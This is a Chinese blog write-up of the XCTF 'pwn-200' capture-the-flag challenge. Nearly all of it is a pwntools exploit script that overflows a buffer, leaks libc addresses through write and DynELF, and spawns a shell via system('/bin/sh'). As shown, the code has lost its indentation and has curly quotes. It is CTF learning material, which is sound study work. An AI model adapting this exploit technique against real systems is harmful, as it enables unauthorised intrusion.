XCTF PWN高手进阶区之pwn-200

最新推荐文章于 2023-03-20 18:30:37 发布

neuisf

最新推荐文章于 2023-03-20 18:30:37 发布

阅读量695

点赞数

CC 4.0 BY-SA版权

分类专栏： Pwn

本文链接：https://blog.csdn.net/neuisf/article/details/104110610

Pwn 专栏收录该内容

23 篇文章

订阅专栏

本文详细解析了PWN-200程序的漏洞利用过程，通过调用write和read函数，泄露和控制地址空间，最终实现shell提权。文章展示了如何使用DynELF库定位系统调用地址，构造payload绕过安全机制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

此题，setbuf未发现有什么作用！
exp:

from pwn import *

sub_addr=0x8048484
def leak(addr):
payload=‘a’*112+p32(write_plt)+p32(sub_addr)+p32(1)+p32(addr)+p32(4)
p.sendline(payload)
return p.recv()[:4]

p=process("./pwn-200")
print p.recv()
elf=ELF("./pwn-200")
write_plt=elf.sym[‘write’]
write_got=elf.got[‘write’]
read_plt=elf.sym[‘read’]
pop3_ret=0x0804856c

d=DynELF(leak,elf=elf)
system_addr=d.lookup(‘system’,‘libc’)
bin_sh_addr=0x0804b000-8
payload=‘a’*112+p32(read_plt)+p32(pop3_ret)+p32(0x0)+p32(bin_sh_addr)+p32(0x8)+p32(system_addr)+p32(0x0)+p32(bin_sh_addr)
p.sendline(payload)
p.sendline(’/bin/sh’)
p.interactive()